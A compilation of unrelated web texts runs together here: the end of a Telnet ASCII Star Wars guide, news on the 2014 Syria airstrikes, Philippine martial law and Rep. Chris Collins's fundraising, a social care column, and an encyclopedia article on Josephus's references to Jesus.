With the above step, we have now reached the end of the guide on how to watch Star Wars in Windows 10.
The reason we went through activating the Telnet client should now be apparent. In Windows XP, Telnet client was accessible without any barriers, but of course, re-enabling it is absolutely essential for this to work.
Keeping in mind that the entire movie is being presented in ASCII, you can rest assured that you will be glued to your seat for two to three times the original run time of the cinematic masterpiece.
Keep in mind, that there are no bathroom breaks in between. You won’t be able to pause, rewind or otherwise interact with the movie once it starts.
It wasn’t quite “shock and awe,” but the United States is firmly back at war in the Middle East. After conducting nearly 200 air strikes in Iraq, the U.S. military, along with a handful of other Arab nations, have begun a targeted air campaign against Islamic extremists inside Syria.
This is “only the beginning,” Pentagon spokesman Rear Adm. John Kirby said at the Pentagon on Tuesday, the morning after the a torrent of guided missiles and fighter jets struck targets in eastern Syria. Nearly two weeks ago, President Barack Obama said he was willing to take the fight to Islamic State militants inside Syria, and he made good on that promise, striking a command and control center in Raqqa, about 100 miles east of Allepo.
Kirby said the strikes were “very successful” and that the military did not warn the Assad regime of the attacks, though Obama did announce two weeks ago that he was prepared to strike in Syria. “While the United States did inform the Syrian regime through our U.N. ambassador of our intent to take action, there was no coordination and no military-to-military communication,” Kirby said. But the strikes weren’t targeted at the Islamic State alone. The Khorasan Group, an al-Qaeda-affiliate of high-level, veteran bomb makers who administration officials say were in the “final stages” of planning an “imminent attack” against the West, and possibly on U.S. soil, were also on the receiving end of Monday night’s attacks.
(Read More: Obama Now Owns the Struggle of the Syrians)
“The Khorasan Group is a group of extremists that is comprised of a number of individuals who we’ve been tracking for a long time. It includes some former al-Qaeda operatives, core al-Qaeda operatives from Afghanistan and Pakistan who made their way to Syria (and) remain, in our view, affiliated with al-Qaeda. And we have been monitoring over the course of many months the development of plotting against the United States or Western targets emanating from Syria,” Deputy National Security Adviser Ben Rhodes told reporters on Tuesday.
When asked why Obama didn’t mention the threat from the Khorasan Group in his televised message to the American people two weeks ago, Rhodes said the group is merely a part of the larger fight against al-Qaeda. “We see this very much as an extension of the threat posed by al-Qaeda and their associated forces,” he said. “These are individuals who have their origin, their history serving in al-Qaeda. They’re known to people who’ve been following this threat for years. They were in Afghanistan and Pakistan. So this, frankly, is a part of the ongoing effort against al-Qaeda in which you’ve seen us take strikes in Yemen; you’ve seen us take strikes in Somalia. When there’s an al Qaeda target we’re going to take action against it.”
Several Arab nations participated in the air strikes, including Saudi Arabia, Jordan, Bahrain, United Arab Emirates and Qatar. More than 40 nations have pledged support and Rhodes said the U.S. hopes to continue to build the coalition. “Some nations will take strikes in Syria; some nations will take strikes in Iraq. Some nations will participate in training and equipping of Iraqis, training and equipping of Syrians. Some nations will help us in counter financing, stopping the flow of foreign fighters.”
A spokesperson for British Prime Minister David Cameron said he supports the air strikes and will meet with other leaders at the United Nations General Assembly meeting in New York this week to talk about “what more the U.K. and others can do to contribute to international efforts to tackle the threat we all face from ISIL.” The U.K is supplying weapons to Kurds in Iraq and conducting surveillance operations.
Obama spoke to reporters very briefly on Tuesday morning before heading to New York to shore up support for the war and again outlined his goals to destroy ISIL (aka ISIS or IS) and reiterated that he is not acting alone in the Middle East. “The strength of this coalition makes it clear to the world that this is not America’s fight alone. Above all, the people and governments in the Middle East are rejecting ISIL and standing up for the peace and security that the people of the region and the world deserve.”
The U.S. plans to arm and train moderate, vetted Syrian rebels to fight ISIL fighters and ultimately go up against the Assad regime, but that could take years to complete. At a Pentagon briefing on Tuesday, Army Lt. Gen. William Mayville, director of operations for the Joint Chiefs of Staff, was asked if the attacks against the Islamic State and the Khorasan Group will ultimately benefit Assad. “Our immediate tasks,” he said, “are to continue the degradation of ISIL in Syria and Iraq [and] to build and strengthen regional partners and to build a regional coalition.”
Bachmann said that her decision had nothing to do with the investigation into her presidential campaign or the tough re-election battle that she was facing in Minnesota’s Sixth Congressional District next year. A recent poll showed Bachmann trailing Jim Graves, who she defeated last year, by 2 points, 47/45, though it was within the margin of error.
Graves also raised over $100,000 after he announced his 2014 bid. While impressive Bachmann is known as a prolific fundraiser. She raised $14.4 million in 2012 and had already raised $675,000 for 2014, according to the Huffington Post. Campaign disclosure reports showed that she had $1.8 million in cash on hand at the end of the first quarter of this year.
Bachmann under-performed in her district in 2012. Cook Political Report shows MN-06 with a R+10 and Romney defeated Obama there by 15 points. Bachmann, however, defeated Graves by less than 4,300 votes, which is attributed to her divisiveness. At the same time, she has a 93% lifetime score from both FreedomWorks and the Club for Growth, so from that perspective her vote will be sorely missed.
Bachmann, who took advantage of the Tea Party movement when it rose to prominence in 2010, doesn’t sound like she’s entirely done with public life. She also ripped the economic and foreign policies of the Obama Administration and she pledged “to work vehemently and robustly to fight back against what most in the other party want to do to transform our country into becoming, which would be a nation that our founders would hardly even recognize today.”
During Tuesday’s en banc (full court) session, the high court, voting 11-3-1, dismissed the petitions filed by House of Representatives’ minority bloc, residents of Mindanao and women from Marawi.
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“The Court dismissed the petitions by a vote of 11 of its members,” the high court said.
Eleven Justices affirmed the martial law proclamation in the entire Mindanao while the three–Chief Justice Maria Lourdes Sereno, Senior Associate Justice Antonio Carpio and Associate Justice Alfredo Benjamin Caguioa–wants martial law confined in Marawi. Associate Justice Marvic Leonen was the lone dissenter.
The decision was issued on the 43rd day of the declaration of martial law. Duterte on May 23 placed the entire Mindanao under martial law following the attack of the Islamic State-inspired Maute group. The battle between government forces and the extremists continues with more than 400 dead and thousands displaced.
High Court’s Information Chief Atty. Theodore Te said all the 15 justices have submitted their respective opinion on the matter whether concurring or dissenting.
BACKSTORY: Duterte declares martial law in South
The President earlier said he would adhere to the decision of the SC on his proclamation.
The first of the three petitions against martial law was filed last June 5 by the minority bloc from the House of Representatives led by Albay Representative Edcel Lagman followed days later by similar pleas filed by a group led by Lumad leader Eufemia Campos Cullamat and the group of women from Marawi led by Norkaya Mohamad.
Petitioners argued that the President’s declaration lacked sufficient factual basis and that the conditions which are the aftermath of the declaration or suspension cannot be used to justify an errant declaration or suspension which is bereft of sufficient factual basis.
The high court’s ruling was the second time to address martial law petitions under the 1987 Constitution.
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The last time the high court has taken such a contentious issue was in 2012 when it dismissed the seven petitions questioning the legality of the martial law proclamation of President Gloria Macapagal-Arroyo in 2009.
The high court dismissed the petitions not on any constitutional issue raised by the petitioners but on the ground of being moot and academic.IDL
BACKSTORY: Duterte: I’ll follow any SC ruling on martial law
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There is widespread concern about failure in social care and funding cuts and staff shortages are increasing the risks. Some 506 providers are inadequate and 3,983 require improvement, according to the Care Quality Commission’s 2015-16 annual report.
One common reason why failure affects social care organisations is not having a strong and consistent leadership team in place. Poor approaches to safeguarding, ineffective management of money and resources, and an inability to ensure that staff adopt the right values and behaviours are also factors. Usually, it is a combination of these factors.
What makes a care home outstanding? Read more
A report by the Institute for Government provides a useful guide to understanding the nature of failure and how to help organisations return to health. Failing Well (pdf) looks at four examples where service providers have dramatically improved, including two in social care.
While there are always examples of individuals who make mistakes, the report finds that adopting a culture of blame won’t help. When care providers have received a bad inspection report, for example, initially staff are often in a state of shock or denial. While perpetrators of serious failure need to be managed out, blaming all the staff will most likely make the situation worse. Creating an open, blame-free culture within organisations helps to protect against future risks of failure.
Failure is often a consequence of an organisation that has existed with problems for years, the report also finds. One of the case studies examined, the now improving Doncaster council, had been in an almost perpetual state of difficulty for over a decade. In cases like this, it is vital not to jump to conclusions about what the causes or the remedies could be. We urge organisations in difficulty to delve deeply into their policies, practice and culture. We also often use a systems approach to analyse what has gone wrong. We see such an approach as having the potential to help organisations that are in broader difficulty.
How care home at centre of TV investigation was turned around Read more
Failing organisations are often insular, the report finds. They have weak networks and fail to reach out to peers when they need support. In local government, for example, social care departments that are failing or need support can reach out to peers who will review and help them with their performance. This kind of approach could be rolled out more widely across the sector.
Where does this leave us? This research helps but is no substitute for the provision of dedicated support to struggling organisations. When hospitals fail, a team of experts turn up to help, funded by the government. This is not the case in social care where providers are largely left to sink or swim when they are in trouble. We need solid investment in support to help troubled social care organisations turn the corner. Otherwise, more will fail and the consequences will be terrible for those who use these services.
Ewan King is the director of business development and delivery at the Social Care Institute for Excellence. Follow @SCIE_socialcare on Twitter.
The cost of admission: a campaign contribution of anywhere from $500 to $2,500.
It's all part of a fundraising push that's unusual for Collins.
Amid controversy over his investments in an obscure Australian biotech firm and a threat of serious competition for re-election in 2018, Collins has scheduled nine D.C. fundraisers between mid-May and the end of June. That comes after an early-year fundraising push that saw him raise more than twice as much as he took in during the same quarter two years ago.
Collins' fundraising push highlighted the first-quarter campaign finance reports filed by local members of Congress, which showed Rep. Tom Reed, R-Corning, also increasing his fundraising. Meanwhile, Rep. Brian Higgins, D-Buffalo, continued, as usual, to raise less money than members in neighboring districts.
Collins pulled in $281,125 in the first quarter, and that's just the start.
A list of Collins fundraisers, sent to The Buffalo News by a source who had received the list, shows nine events at fancy D.C. restaurants and at the Republicans' Capitol Hill Club between last Tuesday and the end of June. Collins' office did not dispute the authenticity of the list of fundraisers.
Except for the first event at the Capital Grille last Tuesday, which sought contributions starting at $1,000, the rest of the Collins fundraisers on the list ask for at least $500 per attendee.
Viveca Novak, editorial and communications director for the Center for Responsive Politics – which keeps track of political fundraisers on its Politcal Party Time website (politicalpartytime.org) – said that while her organization was unaware of the Collins fundraisers, they didn't seem all that unusual.
"Obviously members who are anticipating tough races will work harder at this stage," Novak said. "And given that he's being investigated, he should be expecting a strong challenge."
But Collins had never been a big Washington fundraiser before this year. And of the nine Collins fundraisers, Thursday's "PhRMA Industry Lunch" stood out. PhRMA stands for the Pharmaceutical Research and Manufacturers of America, which represents the nation's drug manufacturers.
Connections to those companies could pay off for Collins because he is the majority shareholder in Innate Immunotherapeutics, an Australian biotech firm that is trying to develop a treatment for secondary progressive multiple sclerosis.
Innate's managing director and CEO, Simon Wilkinson, told The Buffalo News earlier this year that his company would likely be sold to a major pharmaceutical firm at a big profit for Innate stockholders if its multiple sclerosis treatment performs well in clinical trials.
But Collins' investment in Innate is controversial. He bought additional stock in Innate at a discount price in a private stock placement last year, and persuaded then-Rep. Tom Price, now President Trump's health secretary, to do the same.
Several members of the Buffalo area's business elite invested in Innate, too, according to research done by the Public Accountability Initiative, a Buffalo think tank. And investigators from the Office of Congressional Ethics were in Buffalo interviewing some of those investors last week.
Investigators are looking into complaints that Collins got a discount on Innate stock at a time when he was working on a bill that would speed drug trials for companies like Innate.
Hearing that Collins had a fundraiser with pharmaceutical industry lobbyists, Patricia Dieck – one of at least five individuals to file ethics complaints against the congressman – was aghast.
"It definitely raises questions whether he is in D.C. to represent constituents' interests or his self-interests in the medical field," said Dieck, 55, of Batavia.
Dieck added: "I'm definitely upset that he's doing all these fundraisers when he can't find the time to have a town hall with the people in his own district."
Collins defended his decision not to hold town hall meetings with constituents in an appearance on CNN in March.
“I have never seen the value of the time commitment for a town hall when in fact I can spend my time with a group of dairy farmers, with a group of health care professionals, for a half hour or an hour and have a real give and take,” Collins said.
The Buffalo News asked Collins' staff about the town hall issue in an email that also included questions about why Collins was increasing his fundraising pace and whether his PhRMA fundraiser might raise concerns in the midst of the ethics investigation.
Collins' office did not answer any of the questions. Instead, his campaign adviser, Christopher M. Grant, issued a statement:
"Congressman Collins has always been an aggressive fundraiser to assure his campaign has the resources to reach out to his constituents," Grant said. "That fact that he is raising money in the district and in Washington is a fact of life when serving in Congress, especially in this environment. Also, the Congressman has never hesitated to write his own check to make sure his message is heard."
Grant continued: "People in the 27th Congressional District have been very clear to Congressman Collins in his countless meetings and events. They want jobs, a tax system that promotes growth, a program to fix roads and bridges and an end to job-stifling regulations. They can count on Congressman Collins to take on the extreme left wing agenda of Washington Democrats, as well as those radical liberals here in our community."
Grant also did not address a question about the $500,000 personal loan Collins gave to his campaign when he first ran for his current seat in Congress in 2012 – a loan that Collins repaid in late 2016. Replenishing his campaign war chest after repaying that loan could be another reason for Collins' increased pace of fundraising.
Documents filed with the Federal Elections Commission showed that the $281,125 he raised in the first quarter left him with a campaign war chest of $946,136. Slightly more than half of his first-quarter fundraising came from political action committees, with health care PACs giving the largest amount, $20,500.
The fundraising boost should give Collins a head start if he does face a strong challenge next year in New York's heavily Republican 27th district. The Democratic Congressional Campaign Committee has vowed to target Collins for defeat, but it remains unclear whether a tough opponent will emerge.
Reed – who always faces a challenge in the Southern Tier's more competitive 23rd district – actually raised far more in the first quarter than Collins did: $585,283. That total, which compared to $309,663 in the same period two years earlier, replenished Reed's empty campaign coffers after his competitive race last year against Democrat John Plumb. As of March 31, Reed had cash on hand of $512,640.
Like Collins, Reed got a little more than half of his campaign funds from PACs, with the rest coming from individuals. The largest share of Reed's PAC funds – $53,650 – came from the financial industry, which tends to contribute heavily to lawmakers on the House Ways and Means Committee, which writes tax laws. Reed is on that committee.
Higgins serves on that committee now, too, but that fact didn't lead to a huge fundraising boom for the Buffalo Democrat. He raised $83,729 for the quarter, with the majority of it coming from individuals.
Higgins, who has never faced a tight race for re-election, had $803,008 on hand as of March 31.
But that didn't stop Higgins from continuing to take part in the fundraising game. The Political Party Time website showed that he had a fundraiser Friday at downtown Washington's legendary Old Ebbitt Grill.
Modern scholarship has largely acknowledged the authenticity of the reference in Book 20, Chapter 9, 1 of the Antiquities to "the brother of Jesus, who was called Christ, whose name was James"[12] and considers it as having the highest level of authenticity among the references of Josephus to Christianity.[16] Almost all modern scholars consider the reference in Book 18, Chapter 5, 2 of the Antiquities to the imprisonment and death of John the Baptist also to be authentic and not a Christian interpolation. The references found in Antiquities have no parallel texts in the other work by Josephus such as The Jewish War, written 20 years earlier, but some scholars have provided explanations for their absence. A number of variations exist between the statements by Josephus regarding the deaths of James and John the Baptist and the New Testament accounts. Scholars generally view these variations as indications that the Josephus passages are not interpolations, for a Christian interpolator would have made them correspond to the New Testament accounts, not differ from them.
The three passages [ edit ]
James the brother of Jesus [ edit ]
Josephus' reference to James the brother of Jesus And now Caesar, upon hearing the death of Festus, sent Albinus into Judea, as procurator. But the king deprived Joseph of the high priesthood, and bestowed the succession to that dignity on the son of Ananus, who was also himself called Ananus. Now the report goes that this eldest Ananus proved a most fortunate man; for he had five sons who had all performed the office of a high priest to God, and who had himself enjoyed that dignity a long time formerly, which had never happened to any other of our high priests. But this younger Ananus, who, as we have told you already, took the high priesthood, was a bold man in his temper, and very insolent; he was also of the sect of the Sadducees, who are very rigid in judging offenders, above all the rest of the Jews, as we have already observed; when, therefore, Ananus was of this disposition, he thought he had now a proper opportunity. Festus was now dead, and Albinus was but upon the road; so he assembled the sanhedrin of judges , and brought before them the brother of Jesus, who was called Christ, whose name was James, and some others; and when he had formed an accusation against them as breakers of the law, he delivered them to be stoned: but as for those who seemed the most equitable of the citizens, and such as were the most uneasy at the breach of the laws, they disliked what was done; they also sent to the king, desiring him to send to Ananus that he should act so no more, for that what he had already done was not to be justified; nay, some of them went also to meet Albinus, as he was upon his journey from Alexandria, and informed him that it was not lawful for Ananus to assemble a sanhedrin without his consent. Whereupon Albinus complied with what they said, and wrote in anger to Ananus, and threatened that he would bring him to punishment for what he had done; on which king Agrippa took the high priesthood from him, when he had ruled but three months, and made Jesus, the son of Damneus, high priest. Flavius Josephus: Antiquities of the Jews Book 20, Chapter 9, 1[23] For Greek text see [3]
In the Antiquities of the Jews (Book 20, Chapter 9, 1) Josephus refers to the stoning of "James the brother of Jesus" (James the Just) by order of Ananus ben Ananus, a Herodian-era High Priest. The James referred to in this passage is most likely the James to whom the Epistle of James has been attributed. The translations of Josephus' writing into other languages have at times included passages that are not found in the Greek texts, raising the possibility of interpolation, but this passage on James is found in all manuscripts, including the Greek texts.
The context of the passage is the period following the death of Porcius Festus, and the journey to Alexandria by Lucceius Albinus, the new Roman Procurator of Judea, who held that position from 62 AD to 64 AD. Because Albinus' journey to Alexandria had to have concluded no later than the summer of 62 AD, the date of James' death can be assigned with some certainty to around that year. The 2nd century chronicler Hegesippus also left an account of the death of James, and while the details he provides diverge from those of Josephus, the two accounts share similar elements.
Modern scholarship has almost universally acknowledged the authenticity of the reference to "the brother of Jesus, who was called Christ, whose name was James"[12] (τὸν ἀδελφὸν Ἰησοῦ τοῦ λεγομένου Χριστοῦ, Ἰάκωβος ὄνομα αὐτῷ) and has rejected its being the result of later Christian interpolation.[30][16] Moreover, in comparison with Hegesippus' account of James' death, most scholars consider Josephus' to be the more historically reliable. However, a few scholars question the authenticity of the reference, based on various arguments, but primarily based on the observation that various details in The Jewish War differ from it.
John the Baptist [ edit ]
Josephus' reference to John the Baptist [32] Now some of the Jews thought that the destruction of Herod's army came from God, and that very justly, as a punishment of what he did against John, that was called the Baptist: for Herod slew him, who was a good man... Herod, who feared lest the great influence John had over the people might put it into his power and inclination to raise a rebellion... Accordingly he was sent a prisoner, out of Herod's suspicious temper, to Macherus, the castle I before mentioned, and was there put to death.
In the Antiquities of the Jews (Book 18, Chapter 5, 2) Josephus refers to the imprisonment and death of John the Baptist by order of Herod Antipas, the ruler of Galilee and Perea. The context of this reference is the 36 AD defeat of Herod Antipas in his conflict with Aretas IV of Nabatea, which the Jews of the time attributed to misfortune brought about by Herod's unjust execution of John.
Almost all modern scholars consider this passage to be authentic in its entirety, although a small number of authors have questioned it. Because the death of John also appears prominently in the Christian gospels, this passage is considered an important connection between the events Josephus recorded, the chronology of the gospels and the dates for the ministry of Jesus. A few scholars have questioned the passage, contending that the absence of Christian tampering or interpolation does not itself prove authenticity. While this passage is the only reference to John the Baptist outside the New Testament, it is widely seen by most scholars as confirming the historicity of the baptisms that John performed. According to Marsh, any contrast between Josephus and the Gospel's accounts of John would be because the former lacked interest in the messianic element of John's mission.[41]
While both the gospels and Josephus refer to Herod Antipas killing John the Baptist, they differ on the details and the motive. The gospels present this as a consequence of the marriage of Herod Antipas and Herodias in defiance of Jewish law (as in Matthew 14:4, Mark 6:18); Josephus refers to it as a pre-emptive measure by Herod to quell a possible uprising. Danielou contends that Josephus missed the religious meaning while recording only the political aspect of the conflict between Herod and John, which led to the latter's death.[41]
While Josephus identifies the location of the imprisonment of John as Machaerus, southeast of the mouth of the Jordan river, the gospels mention no location for the place where John was imprisoned. According to other historical accounts Machaerus was rebuilt by Herod the Great around 30 BC and then passed to Herod Antipas. The 36 AD date of the conflict with Aretas IV (mentioned by Josephus) is consistent with the approximate date of the marriage of Herod Antipas and Herodias estimated by other historical methods.
Testimonium Flavianum [ edit ]
Testimonium Flavianum [49]
[About this time there lived Jesus, a wise man, if indeed one ought to call him a man. For he was one who performed surprising deeds and was a teacher of such people as accept the truth gladly. He won over many Jews and many of the Greeks. He was the Christ. And when, upon the accusation of the principal men among us, Pilate had condemned him to a cross, those who had first come to love him did not cease. He appeared to them spending a third day restored to life, for the prophets of God had foretold these things and a thousand other marvels about him. And the tribe of the Christians, so called after him, has still to this day not disappeared.] Γίνεται δὲ κατὰ τοῦτον τὸν χρόνον Ἰησοῦς σοφὸς ἀνήρ, εἴγε ἄνδρα αὐτὸν λέγειν χρή: ἦν γὰρ παραδόξων ἔργων ποιητής, διδάσκαλος ἀνθρώπων τῶν ἡδονῇ τἀληθῆ δεχομένων, καὶ πολλοὺς μὲν Ἰουδαίους, πολλοὺς δὲ καὶ τοῦ Ἑλληνικοῦ ἐπηγάγετο: ὁ χριστὸς οὗτος ἦν. καὶ αὐτὸν ἐνδείξει τῶν πρώτων ἀνδρῶν παρ᾽ ἡμῖν σταυρῷ ἐπιτετιμηκότος Πιλάτου οὐκ ἐπαύσαντο οἱ τὸ πρῶτον ἀγαπήσαντες: ἐφάνη γὰρ αὐτοῖς τρίτην ἔχων ἡμέραν πάλιν ζῶν τῶν θείων προφητῶν ταῦτά τε καὶ ἄλλα μυρία περὶ αὐτοῦ θαυμάσια εἰρηκότων. εἰς ἔτι τε νῦν τῶν Χριστιανῶν ἀπὸ τοῦδε ὠνομασμένον οὐκ ἐπέλιπε τὸ φῦλον.[About this time there lived Jesus, a wise man, if indeed one ought to call him a man. For he was one who performed surprising deeds and was a teacher of such people as accept the truth gladly. He won over many Jews and many of the Greeks. He was the Christ. And when, upon the accusation of the principal men among us, Pilate had condemned him to a cross, those who had first come to love him did not cease. He appeared to them spending a third day restored to life, for the prophets of God had foretold these things and a thousand other marvels about him. And the tribe of the Christians, so called after him, has still to this day not disappeared.] Flavius Josephus: Antiquities of the Jews, Book 18, Chapter 3, 3[50]
The Testimonium Flavianum (meaning the testimony of Flavius Josephus) is a passage found in Book 18, Chapter 3, 3 (or see Greek text) of the Antiquities which describes the condemnation and crucifixion of Jesus at the hands of the Roman authorities. The Testimonium is probably the most discussed passage in Josephus.
The earliest secure reference to this passage is found in the writings of the fourth-century Christian apologist and historian Eusebius, who used Josephus' works extensively as a source for his own Historia Ecclesiastica. Writing no later than 324, Eusebius quotes the passage in essentially the same form as that preserved in extant manuscripts. It has therefore been suggested that part or all of the passage may have been Eusebius' own invention, in order to provide an outside Jewish authority for the life of Christ. Some argue that the wording in the Testimonium differs from Josephus' usual writing style and that as a Jew, he would not have used a word like krystos (χριστὸς), at Josephus' time being the Greek term for "Messiah".[56] Also see Arguments for Authenticity.
Of the three passages found in Josephus' Antiquities, this passage, if authentic, would offer the most direct support for the crucifixion of Jesus. The general scholarly view is that while the Testimonium Flavianum is most likely not authentic in its entirety, it originally consisted of an authentic nucleus with a reference to the execution of Jesus by Pilate which was then subject to interpolation.[10] James Dunn states that there is "broad consensus" among scholars regarding the nature of an authentic reference to Jesus in the Testimonium and what the passage would look like without the interpolations. Among other things, the authenticity of this passage would help make sense of the later reference in Josephus' Antiquities of the Jews Book 20, Chapter 9, 1 where Josephus refers to the stoning of "James the brother of Jesus". Feldman renders "τοῦ λεγομένου Χριστοῦ" not as "who was called Christ" but as "the aforementioned Christ" and sees this as confirmation that he had mentioned Jesus the Christ earlier, namely in the Testimonium.
Ancient and medieval sources [ edit ]
Extant manuscripts [ edit ]
Works of Josephus A 1640 edition of the
Josephus wrote all of his surviving works after his establishment in Rome (c. AD 71) under the patronage of the Flavian Emperor Vespasian. As is common with ancient texts, however, there are no extant (surviving) manuscripts of Josephus' works that can be dated before the 11th century, and the oldest of these are all Greek minuscules, copied by Christian monks. Jews are not known to have preserved the writings of Josephus perhaps because he was considered a traitor, and/or because his works circulated in Greek, the use of which declined among Jews shortly after Josephus' era. However an adapted Hebrew version was made in the Middle Ages and continues to be used to this day.
There are about 120 extant Greek manuscripts of Josephus, of which 33 predate the 14th century, with two thirds from the Comnenoi period. The earliest surviving Greek manuscript that contains the Testimonium is the 11th century Ambrosianus 370 (F 128), preserved in the Biblioteca Ambrosiana in Milan, which includes almost all of the second half of the Antiquities. There are about 170 extant Latin translations of Josephus, some of which go back to the sixth century, and according to Louis Feldman have proven very useful in reconstructing the Josephus texts through comparisons with the Greek manuscripts, reconfirming proper names and filling in gaps.
There is considerable evidence, however, that attests to the existence of the references to Jesus in Josephus well before then, including a number of ad hoc copies of Josephus' work preserved in quotation from the works of Christian writers. The earliest known such reference to Josephus' work is found in the writings of the third century patristic author Origen, who refers to Josephus' record of "the death of James the Just, who was a brother of Jesus (called Christ)" in Book I, Chapter XLVII of Against Celsus, including Origen's observations that Josephus did not recognize Jesus as "the Christ" when mentioning him in the "Antiquities of the Jews". Reference to the Testimonium Flavianum is found in Eusebius of Caesarea, writing in the first decades of the fourth century. Both Origen and Eusebius had access to the Greek versions of Josephus' texts. The works of Josephus were translated into Latin during the fourth century (possibly by Rufinus), and, in the same century, the Jewish War was "partially rewritten as an anti-Jewish treatise, known today as Pseudo-Hegesippus, but [which] was considered for over a millennium and a half by many Christians as the ipsissima verba of Josephus to his own people."
One of the reasons the works of Josephus were copied and maintained by Christians was that his writings provided a good deal of information about a number of figures mentioned in the New Testament, and the background to events such as the death of James during a gap in Roman governing authority. Because manuscript transmission was done by hand-copying, typically by monastic scribes, almost all ancient texts have been subject to both accidental and deliberate alterations, emendations (called interpolation) or elisions. Both the lack of any original corroborating manuscript source outside the Christian tradition as well as the practice of Christian interpolation has led to the scholarly debate regarding the authenticity of Josephus' references to Jesus in his work. Although there is no doubt that most (but not all[64]) of the later copies of the Antiquities contained references to Jesus and John the Baptist, it cannot be definitively shown that these were original to Josephus writings. Much of the scholarly work concerning the references to Jesus in Josephus has concentrated on close textual analysis of the Josephan corpus to determine the degree to which the language, as preserved in both early Christian quotations and the later transmissions, should be considered authentic. However, based on the general expectation of what Josephus would have written on Jesus and the actual statements made by Origen and Jerome, the version used by Michael the Syrian and Agapius (see below, Arabic and Syriac Josephus), the neutral reconstruction of the text has a reasonable probability of being what Josephus actually wrote as they would have had access to earlier copies of the Testimonium.[65]
Slavonic Josephus [ edit ]
The three references found in Book 18 and Book 20 of the Antiquities do not appear in any other versions of Josephus' The Jewish War except for a Slavonic version of the Testimonium Flavianum (at times called Testimonium Slavonium) which surfaced in the west at the beginning of the 20th century, after its discovery in Russia at the end of the 19th century.
Although originally hailed as authentic (notably by Robert Eisler), it is now almost universally acknowledged by scholars to have been the product of an 11th-century creation as part of a larger ideological struggle against the Khazars. As a result, it has little place in the ongoing debate over the authenticity and nature of the references to Jesus in the Antiquities. Craig A. Evans states that although some scholars had in the past supported the Slavonic Josephus, "to my knowledge no one today believes that they contain anything of value for Jesus research".
Arabic and Syriac Josephus [ edit ]
In 1971, a 10th-century Arabic version of the Testimonium due to Agapius of Hierapolis was brought to light by Shlomo Pines who also discovered a 12th-century Syriac version of Josephus by Michael the Syrian. These additional manuscript sources of the Testimonium have furnished additional ways to evaluate Josephus' mention of Jesus in the Antiquities, principally through a close textual comparison between the Arabic, Syriac and Greek versions to the Testimonium.
There are subtle yet key differences between the Greek manuscripts and these texts. For instance, the Arabic version does not blame the Jews for the death of Jesus. The key phrase "at the suggestion of the principal men among us" reads instead "Pilate condemned him to be crucified".[73] Instead of "he was Christ", the Syriac version has the phrase "he was believed to be Christ". Drawing on these textual variations, scholars have suggested that these versions of the Testimonium more closely reflect what a non-Christian Jew might have written.
Early references [ edit ]
In the 3rd century, Origen of Alexandria was the first ancient writer to have a comprehensive reference to Josephus, although some other authors had made smaller, general references to Josephus before then, e.g. Justin Martyr and Irenaeus in the second century, followed by Clement. According to Wataru Mizugaki, Origen explicitly mentions the name of Josephus 11 times, never mentioning the Testimonium, both in Greek and Latin. However, despite the fact that most of Origen's works only survive in Latin translations, 10 out of the 11 references are in the original Greek. According to Lester L. Grabbe, Origen noted in two works ("Commentary on Matthew" 10.17 and "Contra Celsum" 1.47) that Josephus had mentioned Jesus without recognizing him as the messiah. These were complaints on Origen's part and this provided an early independent support of the partial Testimonium in the neutral form.[65]
The context for Origen's references is his defense of Christianity. In Contra Celsum (Book I, Chapter XLVII) as Origen defends the Christian practice of baptism, he recounts Josephus' reference to the baptisms performed by John the Baptist for the sake of purification. Here Origen also says, "For in the 18th book of his Antiquities[1] of the Jews, Josephus bears witness to John as having been a Baptist, and as promising purification to those who underwent the rite. Now this writer, although not believing in Jesus as the Christ".[65] In Book II, Chapter XIII, Origen mentions Josephus' reference to the death of James the brother of Jesus and again in his Commentary on Matthew (Book X, Chapter 17) Origen refers to Josephus' Antiquities of the Jews by name and that Josephus had stated that the death of James had brought a wrath upon those who had killed him and that Jesus was not seen by Josephus as being the Christ.[65]
The 4th century writings of Eusebius of Caesarea refer to Josephus' account of James, John and Jesus. In his Church History (Book I, Chapter XI) Eusebius discusses the Josephus reference to how Herod Antipas killed John the Baptist, and mentions the marriage to Herodias in items 1 to 6. In the same Book I chapter, in items 7 and 8 Eusebius also discusses the Josephus reference to the crucifixion of Jesus by Pontius Pilate, a reference that is present in all surviving Eusebius manuscripts.
In Book II, Chapter 23.20 of his Church History, Eusebius describes the death of James according to Josephus. In that chapter, Eusebius first describes the background including Festus, and mentions Clement and Hegesippus. In item 20 of that chapter Eusebius then mentions Josephus' reference to the death of James and the sufferings that befell those who killed him. However, Eusebius does not acknowledge Origen as one of his sources for the reference to James in Josephus.
Variations from Christian sources [ edit ]
There are some variations between the statements by Josephus regarding James the brother of Jesus and John the Baptist and the New Testament and other Christian accounts. Scholars generally view these variations as indications that the Josephus passages are not interpolations, for a Christian interpolator would have made them correspond to the Christian traditions.
Josephus' account places the date of the death of James as AD 62.[79] This date is supported by Jerome's 'seventh year of the Emperor Nero', although Jerome may simply be drawing this from Josephus. However, James' successor as leader of the Jerusalem church, Simeon, is not, in tradition, appointed till after the siege of Jerusalem in AD 70, and Eusebius' notice of Simeon implies a date for the death of James immediately before the siege, i.e. about AD 69. The method of death of James is not mentioned in the New Testament.[81] However, the account of Josephus differs from that of later works by Hegesippus, Clement of Alexandria, and Origen, and Eusebius of Caesarea that it simply has James stoned while the others have other variations such as having James thrown from the top of the Temple, stoned, and finally beaten to death by a fuller as well as his death occurring during the siege of Jerusalem in AD 69.
John Painter states that the relationship of the death of James to the siege is an important theologoumenon in the early church. On the basis of the Gospel accounts it was concluded that the fate of the city was determined by the death there of Jesus. To account for the 35 year difference, Painter states that the city was preserved temporarily by the presence within it of a 'just man' (see also Sodom); who was identified with James, as confirmed by Origen. Hence Painter states that the killing of James restarted the clock that led to the destruction of the city and that the traditional dating of 69 AD simply arose from an over-literal application of the theologoumenon, and is not to be regarded as founded on a historical source. The difference between Josephus and the Christian accounts of the death of James is seen as an indication that the Josephus passage is not a Christian interpolation by scholars such as Eddy, Boyd, and Kostenberger. Geza Vermes states that compared to the Christian accounts: "the sober picture of Josephus appears all the more believable".[84] G. A. Wells, on the other hand, has stated that in view of Origen's statements these variations from the Christian accounts may be signs of interpolation in the James passage.[85]
